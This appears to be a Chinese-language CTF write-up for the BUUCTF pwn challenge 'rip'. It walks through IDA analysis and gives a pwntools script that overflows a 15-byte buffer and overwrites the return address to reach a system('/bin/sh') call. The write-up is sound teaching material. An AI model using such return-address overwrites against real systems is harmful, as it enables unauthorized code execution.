T2 rip
2023-01-04WP
BUUCTF pwn第二题
考点:简单的栈溢出
0x01 checksec
查看保护机制
啥都没开,非常nice
0x02 IDA
file后是64位,扔到IDA里
打开string window,发现有/bin/sh,双击-》点击command,ctrl+X跳到fun函数里Function window直接找也行….
直接f5大法
main函数里好像没啥用
看到char了一个s数组还有get函数,栈溢出无疑了
fun函数里有system函数,想到把fun函数的地址压进栈的return address里使fun函数得以执行
于是找出fun函数中调用system的地址0x40118A
有了地址,现在需要知道的是s的长度,在IDA中可以找到
距离rbp的距离是0Fh,也就是s的内存空间为15字节,当然了,除此之外,还需要8字节的数据将rbp填满,才能让数据溢过Local Variables 和 Caller’s rsp,溢出进入Return Address
0x03 exp
vim pwn1.py#pwn1.py from pwn import * p = remote("node4 .buuoj.cn",25026) payload = b'a' * (0xf+8) + p64(0x40118A) p.sendline(payload) p.interactive()
一开始没加b’’然后报错TypeError: can only concatenate str (not “bytes”) to str……
执行脚本得到flag